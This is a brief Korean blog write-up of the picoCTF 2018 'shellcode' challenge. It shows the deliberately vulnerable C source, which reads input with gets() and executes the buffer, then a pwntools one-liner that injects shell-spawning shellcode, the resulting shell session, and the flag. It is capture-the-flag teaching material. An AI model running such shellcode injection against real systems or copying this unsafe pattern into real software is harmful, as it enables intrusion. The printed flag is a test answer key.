제리의 블로그

picoCTF 2018 shellcode Binary Exploitation 본문

CTF/pwnable

picoCTF 2018 shellcode Binary Exploitation

j3rrry 2018. 9. 30. 12:59
program
Source
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter a string!");
  vuln(buf);

  puts("Thanks! Executing now...");

  ((void (*)())buf)();

  return 0;
}

$ (python -c 'from pwn import *;print(asm(shellcraft.sh()))';cat) | ./vuln
Enter a string!
jhh///sh/binh4$ri1QjYQ1j
                        X̀
Thanks! Executing now...
ls
flag.txt  vuln  vuln.c
cat flag.txt
picoCTF{shellc0de_w00h00_26e91a77}
exit



Comments